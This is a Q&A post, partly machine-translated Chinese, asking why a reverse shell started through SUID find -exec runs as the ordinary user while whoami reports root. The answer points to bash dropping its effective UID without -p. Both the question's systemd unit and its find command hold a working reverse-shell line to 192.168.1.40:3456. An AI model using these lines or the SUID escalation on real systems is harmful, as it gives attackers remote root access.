SUID find -exec TCP 连接不是 root

SUID find -exec TCP connection not being root

假设/usr/bin/systemctl/usr/bin/find4755 (SUID) 权限和 有一项服务 root.service 通过 tcp 连接执行交互式 shell:

[Service]
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1"
[Install]
WantedBy=multi-user.target

如果root.service作为非root用户执行(作为服务),交互的用户shell 创建的将是 root。

但是如果执行的命令是(也作为非root用户):

find . -exec /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1" \;

创建的交互式 shell 用户将是执行命令的同一非根用户。

另一方面,如果我以非根用户身份执行:

find . -exec whoami \;

会returnroot.

在这两种情况下,我都假设有一个 TCP 连接侦听指定的 IP 和端口。

我缺少关于 find -exec 功能的一些东西。

¿为什么会有这种差异?

这可能是因为 Bash doesn't like being setuid:

Invoked with unequal effective and real UID/GIDs
If Bash is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, [etc.] and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

具有有效的 UID != 真实的 UID 正是 setuid 进程所看到的,并且没有理由假设 find 会改变它,所以两个 UID 都继承到 Bash,然后丢弃通过 setuid 获得的 UID。

你或许也可以比较一下

find . -exec whoami \;

find . -exec bash -c whoami \;